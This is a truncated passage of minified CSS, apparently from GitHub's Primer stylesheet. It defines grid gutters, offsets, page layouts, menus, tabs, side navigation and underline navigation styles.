!important}.gutter-condensed{margin-right:-8px;margin-left:-8px}.gutter-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-spacious{margin-right:-24px;margin-left:-24px}.gutter-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}@media(min-width: 544px){.gutter-sm{margin-right:-16px;margin-left:-16px}.gutter-sm>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-sm-condensed{margin-right:-8px;margin-left:-8px}.gutter-sm-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-sm-spacious{margin-right:-24px;margin-left:-24px}.gutter-sm-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 768px){.gutter-md{margin-right:-16px;margin-left:-16px}.gutter-md>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-md-condensed{margin-right:-8px;margin-left:-8px}.gutter-md-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-md-spacious{margin-right:-24px;margin-left:-24px}.gutter-md-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1012px){.gutter-lg{margin-right:-16px;margin-left:-16px}.gutter-lg>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-lg-condensed{margin-right:-8px;margin-left:-8px}.gutter-lg-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-lg-spacious{margin-right:-24px;margin-left:-24px}.gutter-lg-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}@media(min-width: 1280px){.gutter-xl{margin-right:-16px;margin-left:-16px}.gutter-xl>[class*=col-]{padding-right:16px !important;padding-left:16px !important}.gutter-xl-condensed{margin-right:-8px;margin-left:-8px}.gutter-xl-condensed>[class*=col-]{padding-right:8px !important;padding-left:8px !important}.gutter-xl-spacious{margin-right:-24px;margin-left:-24px}.gutter-xl-spacious>[class*=col-]{padding-right:24px !important;padding-left:24px !important}}.offset-1{margin-left:8.33333333% !important}.offset-2{margin-left:16.66666666% !important}.offset-3{margin-left:24.99999999% !important}.offset-4{margin-left:33.33333332% !important}.offset-5{margin-left:41.66666665% !important}.offset-6{margin-left:49.99999998% !important}.offset-7{margin-left:58.33333331% !important}.offset-8{margin-left:66.66666664% !important}.offset-9{margin-left:74.99999997% !important}.offset-10{margin-left:83.3333333% !important}.offset-11{margin-left:91.66666663% !important}@media(min-width: 544px){.offset-sm-1{margin-left:8.33333333% !important}.offset-sm-2{margin-left:16.66666666% !important}.offset-sm-3{margin-left:24.99999999% !important}.offset-sm-4{margin-left:33.33333332% !important}.offset-sm-5{margin-left:41.66666665% !important}.offset-sm-6{margin-left:49.99999998% !important}.offset-sm-7{margin-left:58.33333331% !important}.offset-sm-8{margin-left:66.66666664% !important}.offset-sm-9{margin-left:74.99999997% !important}.offset-sm-10{margin-left:83.3333333% !important}.offset-sm-11{margin-left:91.66666663% !important}}@media(min-width: 768px){.offset-md-1{margin-left:8.33333333% !important}.offset-md-2{margin-left:16.66666666% !important}.offset-md-3{margin-left:24.99999999% !important}.offset-md-4{margin-left:33.33333332% !important}.offset-md-5{margin-left:41.66666665% !important}.offset-md-6{margin-left:49.99999998% !important}.offset-md-7{margin-left:58.33333331% !important}.offset-md-8{margin-left:66.66666664% !important}.offset-md-9{margin-left:74.99999997% !important}.offset-md-10{margin-left:83.3333333% !important}.offset-md-11{margin-left:91.66666663% !important}}@media(min-width: 1012px){.offset-lg-1{margin-left:8.33333333% !important}.offset-lg-2{margin-left:16.66666666% !important}.offset-lg-3{margin-left:24.99999999% !important}.offset-lg-4{margin-left:33.33333332% !important}.offset-lg-5{margin-left:41.66666665% !important}.offset-lg-6{margin-left:49.99999998% !important}.offset-lg-7{margin-left:58.33333331% !important}.offset-lg-8{margin-left:66.66666664% !important}.offset-lg-9{margin-left:74.99999997% !important}.offset-lg-10{margin-left:83.3333333% !important}.offset-lg-11{margin-left:91.66666663% !important}}@media(min-width: 1280px){.offset-xl-1{margin-left:8.33333333% !important}.offset-xl-2{margin-left:16.66666666% !important}.offset-xl-3{margin-left:24.99999999% !important}.offset-xl-4{margin-left:33.33333332% !important}.offset-xl-5{margin-left:41.66666665% !important}.offset-xl-6{margin-left:49.99999998% !important}.offset-xl-7{margin-left:58.33333331% !important}.offset-xl-8{margin-left:66.66666664% !important}.offset-xl-9{margin-left:74.99999997% !important}.offset-xl-10{margin-left:83.3333333% !important}.offset-xl-11{margin-left:91.66666663% !important}}.Layout{display:grid;--Layout-sidebar-width: 220px;--Layout-gutter: 16px;grid-auto-flow:column;grid-template-columns:auto 0 minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter)));grid-gap:var(--Layout-gutter)}@media(max-width: calc(544px - 0.02px)){.Layout{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout .Layout-sidebar,.Layout .Layout-divider,.Layout .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--divided{--Layout-gutter: 0}.Layout.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(768px - 0.02px)){.Layout.Layout--flowRow-until-md{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-md .Layout-sidebar,.Layout.Layout--flowRow-until-md .Layout-divider,.Layout.Layout--flowRow-until-md .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-md.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-md.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-md.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-md.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}@media(max-width: calc(1012px - 0.02px)){.Layout.Layout--flowRow-until-lg{grid-auto-flow:row;grid-template-columns:1fr !important}.Layout.Layout--flowRow-until-lg .Layout-sidebar,.Layout.Layout--flowRow-until-lg .Layout-divider,.Layout.Layout--flowRow-until-lg .Layout-main{width:100% !important;grid-column:1 !important}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-sidebar{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-start .Layout-main{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:2/span 2}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}.Layout.Layout--flowRow-until-lg.Layout--sidebarPosition-flowRow-none .Layout-sidebar{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided{--Layout-gutter: 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider{height:1px;grid-row:2}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-hidden{display:none}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-divider.Layout-divider--flowRow-shallow{height:8px;margin-right:0;background:var(--color-canvas-inset);border-color:var(--color-border-default);border-style:solid;border-width:1px 0}.Layout.Layout--flowRow-until-lg.Layout--divided .Layout-main{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-sidebar{grid-row:3/span 1}.Layout.Layout--flowRow-until-lg.Layout--divided.Layout--sidebarPosition-flowRow-end .Layout-main{grid-row:1}}.Layout .Layout-sidebar{grid-column:1}.Layout .Layout-divider{display:none}.Layout .Layout-main{grid-column:2/span 2}@media(min-width: 1012px){.Layout{--Layout-gutter: 24px}}.Layout.Layout--gutter-none{--Layout-gutter: 0px}.Layout.Layout--gutter-condensed{--Layout-gutter: 16px}@media(min-width: 1012px){.Layout.Layout--gutter-spacious{--Layout-gutter: 32px}}@media(min-width: 1280px){.Layout.Layout--gutter-spacious{--Layout-gutter: 40px}}@media(min-width: 544px){.Layout{--Layout-sidebar-width: 220px}}@media(min-width: 768px){.Layout{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout{--Layout-sidebar-width: 296px}}@media(min-width: 768px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 240px}}@media(min-width: 1012px){.Layout.Layout--sidebar-narrow{--Layout-sidebar-width: 256px}}@media(min-width: 1012px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 320px}}@media(min-width: 1280px){.Layout.Layout--sidebar-wide{--Layout-sidebar-width: 336px}}.Layout.Layout--sidebarPosition-start .Layout-sidebar{grid-column:1}.Layout.Layout--sidebarPosition-start .Layout-main{grid-column:2/span 2}.Layout.Layout--sidebarPosition-end{grid-template-columns:minmax(0, calc(100% - var(--Layout-sidebar-width) - var(--Layout-gutter))) 0 auto}.Layout.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout.Layout--sidebarPosition-end .Layout-sidebar{grid-column:2/span 2}.Layout.Layout--divided .Layout-divider{display:block;grid-column:2;width:1px;margin-right:-1px;background:var(--color-border-default)}.Layout.Layout--divided .Layout-main{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-sidebar{grid-column:3/span 1}.Layout.Layout--divided.Layout--sidebarPosition-end .Layout-main{grid-column:1}.Layout-divider{display:none;width:1px}.Layout-sidebar{width:var(--Layout-sidebar-width)}.Layout-main{min-width:0}.Layout-main .Layout-main-centered-md,.Layout-main .Layout-main-centered-lg,.Layout-main .Layout-main-centered-xl{margin-right:auto;margin-left:auto}.Layout-main .Layout-main-centered-md>.container-md,.Layout-main .Layout-main-centered-md>.container-lg,.Layout-main .Layout-main-centered-md>.container-xl,.Layout-main .Layout-main-centered-lg>.container-md,.Layout-main .Layout-main-centered-lg>.container-lg,.Layout-main .Layout-main-centered-lg>.container-xl,.Layout-main .Layout-main-centered-xl>.container-md,.Layout-main .Layout-main-centered-xl>.container-lg,.Layout-main .Layout-main-centered-xl>.container-xl{margin-left:0}.Layout-main .Layout-main-centered-md{max-width:calc(768px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-lg{max-width:calc(1012px + var(--Layout-sidebar-width) + var(--Layout-gutter))}.Layout-main .Layout-main-centered-xl{max-width:calc(1280px + var(--Layout-sidebar-width) + var(--Layout-gutter))}:root{--Layout-pane-width: 220px;--Layout-content-width: 100%;--Layout-template-columns: 1fr var(--Layout-pane-width);--Layout-template-areas: "content pane";--Layout-column-gap: 16px;--Layout-row-gap: 16px;--Layout-outer-spacing-x: 0px;--Layout-outer-spacing-y: 0px;--Layout-inner-spacing-min: 0px;--Layout-inner-spacing-max: 0px}.PageLayout{display:block;margin:var(--Layout-outer-spacing-y) var(--Layout-outer-spacing-x)}@media(min-width: 768px){.PageLayout.PageLayout--panePos-start{--Layout-template-columns: var(--Layout-pane-width) minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap)));--Layout-template-areas: "pane content"}.PageLayout.PageLayout--panePos-end{--Layout-template-columns: minmax(0, calc(100% - var(--Layout-pane-width) - var(--Layout-column-gap))) var(--Layout-pane-width);--Layout-template-areas: "content pane"}.PageLayout .PageLayout-header--hasDivider{padding-bottom:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-bottom:1px solid var(--color-border-default)}.PageLayout .PageLayout-footer--hasDivider{padding-top:max(var(--Layout-row-gap),var(--Layout-inner-spacing-min));border-top:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start .PageLayout-pane{border-right:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-right:calc(var(--Layout-column-gap) - 1px);margin-right:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-start:not(.PageLayout--columnGap-none) .PageLayout-content{margin-left:var(--Layout-column-gap)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end .PageLayout-pane{border-left:1px solid var(--color-border-default)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-pane{padding-left:calc(var(--Layout-column-gap) - 1px);margin-left:calc(var(--Layout-column-gap)*-1)}.PageLayout.PageLayout--hasPaneDivider.PageLayout--panePos-end:not(.PageLayout--columnGap-none) .PageLayout-content{margin-right:var(--Layout-column-gap)}.PageLayout .PageLayout-pane--sticky{position:sticky;top:0;max-height:100vh;overflow:auto;scrollbar-width:thin}@supports(max-height: 100dvh){.PageLayout .PageLayout-pane--sticky{max-height:100dvh}}.PageLayout [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap));margin-right:auto;margin-left:auto}.PageLayout.PageLayout--hasPaneDivider [class^=PageLayout-content-centered-]{max-width:calc(var(--Layout-content-width) + var(--Layout-pane-width) + var(--Layout-column-gap)*2)}.PageLayout.PageLayout--panePos-start [class^=PageLayout-content-centered-]>[class^=container-]{margin-left:0}.PageLayout.PageLayout--panePos-end [class^=PageLayout-content-centered-]>[class^=container-]{margin-right:0}.PageLayout .PageLayout-content-centered-sm{--Layout-content-width: 544px}.PageLayout .PageLayout-content-centered-md{--Layout-content-width: 768px}.PageLayout .PageLayout-content-centered-lg{--Layout-content-width: 1012px}.PageLayout .PageLayout-content-centered-xl{--Layout-content-width: 1280px}}@media(min-width: 768px)and (min-width: 544px){.PageLayout{--Layout-pane-width: 220px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout{--Layout-pane-width: 296px}}@media(min-width: 768px)and (min-width: 768px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 240px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-narrow{--Layout-pane-width: 256px}}@media(min-width: 768px)and (min-width: 1012px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 320px}}@media(min-width: 768px)and (min-width: 1280px){.PageLayout.PageLayout--paneWidth-wide{--Layout-pane-width: 336px}}@media(max-width: 767.98px){.PageLayout.PageLayout--responsive-stackRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content" "pane"}.PageLayout.PageLayout--responsive-stackRegions.PageLayout--responsive-panePos-start{--Layout-template-areas: "pane" "content"}.PageLayout.PageLayout--responsive-separateRegions{--Layout-template-columns: 1fr;--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content{--Layout-template-areas: "content"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-content .PageLayout-pane{display:none}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane{--Layout-template-areas: "pane"}.PageLayout.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .PageLayout-content{display:none}.PageLayout .PageLayout-region--dividerNarrow-line-before{position:relative;margin-top:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-before::before{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);top:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-line-after{position:relative;margin-bottom:var(--Layout-row-gap)}.PageLayout .PageLayout-region--dividerNarrow-line-after::after{position:absolute;left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:1px;content:"";background-color:var(--color-border-default);bottom:calc(-1px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before{position:relative;margin-top:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-before::after{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);top:calc(-8px - var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after{position:relative;margin-bottom:calc(8px + var(--Layout-row-gap))}.PageLayout .PageLayout-region--dividerNarrow-filled-after::before{position:absolute;bottom:calc(8px * -1);left:calc(var(--Layout-outer-spacing-x)*-1);display:block;width:calc(100% + var(--Layout-outer-spacing-x)*2);height:8px;content:"";background-color:var(--color-canvas-inset);box-shadow:inset 0 1px var(--color-border-default),inset 0 -1px var(--color-border-default);bottom:calc(-8px - var(--Layout-row-gap))}}.PageLayout-wrapper{display:grid;grid:auto-flow/1fr;row-gap:var(--Layout-row-gap)}.PageLayout-columns{display:grid;column-gap:var(--Layout-column-gap);row-gap:var(--Layout-row-gap);grid-template-columns:var(--Layout-template-columns);grid-template-rows:1fr;grid-template-areas:var(--Layout-template-areas)}.PageLayout-columns .PageLayout-content{padding-right:var(--Layout-inner-spacing-max);padding-left:var(--Layout-inner-spacing-max);grid-area:content}.PageLayout-columns .PageLayout-pane{grid-area:pane}.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}@media(min-width: 1012px){.PageLayout--outerSpacing-normal{--Layout-outer-spacing-x: 24px;--Layout-outer-spacing-y: 24px}}.PageLayout--outerSpacing-condensed{--Layout-outer-spacing-x: 16px;--Layout-outer-spacing-y: 16px}.PageLayout--innerSpacing-normal{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}@media(min-width: 1012px){.PageLayout--innerSpacing-normal{--Layout-inner-spacing-max: 24px}}.PageLayout--innerSpacing-condensed{--Layout-inner-spacing-min: 16px;--Layout-inner-spacing-max: 16px}.PageLayout--columnGap-normal{--Layout-column-gap: 16px}@media(min-width: 1012px){.PageLayout--columnGap-normal{--Layout-column-gap: 24px}}.PageLayout--columnGap-condensed{--Layout-column-gap: 16px}.PageLayout--columnGap-none{--Layout-column-gap: 0px}.PageLayout--rowGap-normal{--Layout-row-gap: 16px}@media(min-width: 1012px){.PageLayout--rowGap-normal{--Layout-row-gap: 24px}}.PageLayout--rowGap-none{--Layout-row-gap: 0px}.PageLayout--rowGap-condensed{--Layout-row-gap: 16px}.PageLayout-header,.PageLayout-content,.PageLayout-pane,.PageLayout-footer{padding:var(--Layout-inner-spacing-min)}.Link{color:var(--color-accent-fg)}.Link:hover{text-decoration:underline;cursor:pointer}.Link:focus,.Link:focus-visible{outline-offset:0}.Link--primary{color:var(--color-fg-default) !important}.Link--primary:hover{color:var(--color-accent-fg) !important}.Link--secondary{color:var(--color-fg-muted) !important}.Link--secondary:hover{color:var(--color-accent-fg) !important}.Link--muted{color:var(--color-fg-muted) !important}.Link--muted:hover{color:var(--color-accent-fg) !important;text-decoration:none}.Link--onHover:hover{color:var(--color-accent-fg) !important;text-decoration:underline;cursor:pointer}.Link--secondary:hover [class*=color-fg],.Link--primary:hover [class*=color-fg],.Link--muted:hover [class*=color-fg]{color:inherit !important}.menu{margin-bottom:16px;list-style:none;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.menu-item{position:relative;display:block;padding:8px 16px;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-item:first-child{border-top:0;border-top-left-radius:6px;border-top-right-radius:6px}.menu-item:first-child::before{border-top-left-radius:6px}.menu-item:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.menu-item:last-child::before{border-bottom-left-radius:6px}.menu-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.menu-item:active{background-color:var(--color-canvas-subtle)}.menu-item.selected,.menu-item[aria-selected=true],.menu-item[aria-current]:not([aria-current=false]){cursor:default;background-color:var(--color-menu-bg-active)}.menu-item.selected::before,.menu-item[aria-selected=true]::before,.menu-item[aria-current]:not([aria-current=false])::before{position:absolute;top:0;bottom:0;left:0;width:2px;content:"";background-color:var(--color-primer-border-active)}.menu-item .octicon{width:16px;margin-right:8px;color:var(--color-fg-muted);text-align:center}.menu-item .Counter{float:right;margin-left:4px}.menu-item .menu-warning{float:right;color:var(--color-attention-fg)}.menu-item .avatar{float:left;margin-right:4px}.menu-item.alert .Counter{color:var(--color-danger-fg)}.menu-heading{display:block;padding:8px 16px;margin-top:0;margin-bottom:0;font-size:inherit;font-weight:600;color:var(--color-fg-default);border-bottom:1px solid var(--color-border-muted)}.menu-heading:hover{text-decoration:none}.menu-heading:first-child{border-top-left-radius:6px;border-top-right-radius:6px}.menu-heading:last-child{border-bottom:0;border-bottom-right-radius:6px;border-bottom-left-radius:6px}.tabnav{margin-top:0;margin-bottom:16px;border-bottom:1px solid var(--color-border-default)}.tabnav-tabs{display:flex;margin-bottom:-1px;overflow:auto}.tabnav-tab{display:inline-block;flex-shrink:0;padding:8px 16px;font-size:14px;line-height:23px;color:var(--color-fg-muted);text-decoration:none;background-color:transparent;border:1px solid transparent;border-bottom:0;transition:color .2s cubic-bezier(0.3, 0, 0.5, 1)}.tabnav-tab.selected,.tabnav-tab[aria-selected=true],.tabnav-tab[aria-current]:not([aria-current=false]){color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 6px 0 0}.tabnav-tab.selected .octicon,.tabnav-tab[aria-selected=true] .octicon,.tabnav-tab[aria-current]:not([aria-current=false]) .octicon{color:inherit}.tabnav-tab:hover{color:var(--color-fg-default);text-decoration:none;transition-duration:.1s}.tabnav-tab:focus,.tabnav-tab:focus-visible{border-radius:6px 6px 0 0 !important;outline-offset:-6px}.tabnav-tab:active{color:var(--color-fg-muted)}.tabnav-tab .octicon{margin-right:4px;color:var(--color-fg-muted)}.tabnav-tab .Counter{margin-left:4px;color:inherit}.tabnav-extra{display:inline-block;padding-top:10px;margin-left:10px;font-size:12px;color:var(--color-fg-muted)}.tabnav-extra>.octicon{margin-right:2px}a.tabnav-extra:hover{color:var(--color-accent-fg);text-decoration:none}.tabnav-btn{margin-left:8px}.filter-list{list-style-type:none}.filter-list.small .filter-item{padding:6px 12px;font-size:12px}.filter-list.pjax-active .filter-item{color:var(--color-fg-muted);background-color:transparent}.filter-list.pjax-active .filter-item.pjax-active{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item{position:relative;display:block;padding:8px 16px;margin-bottom:4px;overflow:hidden;font-size:14px;color:var(--color-fg-muted);text-decoration:none;text-overflow:ellipsis;white-space:nowrap;cursor:pointer;border-radius:6px}.filter-item:hover{text-decoration:none;background-color:var(--color-canvas-subtle)}.filter-item.selected,.filter-item[aria-selected=true],.filter-item[aria-current]:not([aria-current=false]){color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.filter-item.selected:focus,.filter-item[aria-selected=true]:focus,.filter-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item.selected:focus:not(:focus-visible),.filter-item[aria-selected=true]:focus:not(:focus-visible),.filter-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.filter-item.selected:focus-visible,.filter-item[aria-selected=true]:focus-visible,.filter-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.filter-item .count{float:right;font-weight:600}.filter-item .bar{position:absolute;top:2px;right:0;bottom:2px;z-index:-1;display:inline-block;background-color:var(--color-neutral-subtle)}.SideNav{background-color:var(--color-canvas-subtle)}.SideNav-item{position:relative;display:block;width:100%;padding:12px 16px;color:var(--color-fg-default);text-align:left;background-color:transparent;border:0;border-top:1px solid var(--color-border-muted)}.SideNav-item:first-child{border-top:0}.SideNav-item:last-child{box-shadow:0 1px 0 var(--color-border-default)}.SideNav-item::before{position:absolute;top:0;bottom:0;left:0;z-index:1;width:2px;pointer-events:none;content:""}.SideNav-item:hover{text-decoration:none;background-color:var(--color-neutral-subtle)}.SideNav-item:active{background-color:var(--color-canvas-subtle)}.SideNav-item[aria-current]:not([aria-current=false]),.SideNav-item[aria-selected=true]{background-color:var(--color-sidenav-selected-bg)}.SideNav-item[aria-current]:not([aria-current=false])::before,.SideNav-item[aria-selected=true]::before{background-color:var(--color-primer-border-active)}.SideNav-icon{width:16px;margin-right:8px;color:var(--color-fg-muted)}.SideNav-subItem{position:relative;display:block;width:100%;padding:4px 0;color:var(--color-accent-fg);text-align:left;background-color:transparent;border:0}.SideNav-subItem:hover{color:var(--color-fg-default);text-decoration:none}.SideNav-subItem[aria-current]:not([aria-current=false]),.SideNav-subItem[aria-selected=true]{font-weight:500;color:var(--color-fg-default)}.subnav{margin-bottom:20px}.subnav::before{display:table;content:""}.subnav::after{display:table;clear:both;content:""}.subnav-bordered{padding-bottom:20px;border-bottom:1px solid var(--color-border-muted)}.subnav-flush{margin-bottom:0}.subnav-item{position:relative;float:left;padding:5px 16px;font-weight:500;line-height:20px;color:var(--color-fg-default);border:1px solid var(--color-border-default)}.subnav-item+.subnav-item{margin-left:-1px}.subnav-item:hover,.subnav-item:focus{text-decoration:none;background-color:var(--color-canvas-subtle)}.subnav-item.selected,.subnav-item[aria-selected=true],.subnav-item[aria-current]:not([aria-current=false]){z-index:2;color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis);border-color:var(--color-accent-emphasis)}.subnav-item.selected:focus,.subnav-item[aria-selected=true]:focus,.subnav-item[aria-current]:not([aria-current=false]):focus{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item.selected:focus:not(:focus-visible),.subnav-item[aria-selected=true]:focus:not(:focus-visible),.subnav-item[aria-current]:not([aria-current=false]):focus:not(:focus-visible){outline:solid 1px transparent;box-shadow:none}.subnav-item.selected:focus-visible,.subnav-item[aria-selected=true]:focus-visible,.subnav-item[aria-current]:not([aria-current=false]):focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px;box-shadow:inset 0 0 0 3px var(--color-fg-on-emphasis)}.subnav-item:first-child{border-top-left-radius:6px;border-bottom-left-radius:6px}.subnav-item:last-child{border-top-right-radius:6px;border-bottom-right-radius:6px}.subnav-search{position:relative;margin-left:12px}.subnav-search-input{width:320px;padding-left:32px;color:var(--color-fg-muted)}.subnav-search-input-wide{width:500px}.subnav-search-icon{position:absolute;top:9px;left:8px;display:block;color:var(--color-fg-muted);text-align:center;pointer-events:none}.subnav-search-context .btn{border-top-right-radius:0;border-bottom-right-radius:0}.subnav-search-context .btn:hover,.subnav-search-context .btn:focus,.subnav-search-context .btn:active,.subnav-search-context .btn.selected{z-index:2}.subnav-search-context+.subnav-search{margin-left:-1px}.subnav-search-context+.subnav-search .subnav-search-input{border-top-left-radius:0;border-bottom-left-radius:0}.subnav-search-context .select-menu-modal-holder{z-index:30}.subnav-search-context .select-menu-modal{width:220px}.subnav-search-context .select-menu-item-icon{color:inherit}.subnav-spacer-right{padding-right:12px}.UnderlineNav{display:flex;min-height:48px;overflow-x:auto;overflow-y:hidden;box-shadow:inset 0 -1px 0 var(--color-border-muted);-webkit-overflow-scrolling:auto;justify-content:space-between}.UnderlineNav .Counter{margin-left:8px;color:var(--color-fg-default);background-color:var(--color-neutral-muted)}.UnderlineNav .Counter--primary{color:var(--color-fg-on-emphasis);background-color:var(--color-neutral-emphasis)}.UnderlineNav-body{display:flex;align-items:center;gap:8px;list-style:none}.UnderlineNav-item{position:relative;display:flex;padding:0 8px;font-size:14px;line-height:30px;color:var(--color-fg-default);text-align:center;white-space:nowrap;cursor:pointer;background-color:transparent;border:0;border-radius:6px;align-items:center}.UnderlineNav-item:hover,.UnderlineNav-item:focus,.UnderlineNav-item:focus-visible{color:var(--color-fg-default);text-decoration:none;border-bottom-color:var(--color-neutral-muted);outline-offset:-2px;transition:border-bottom-color .12s 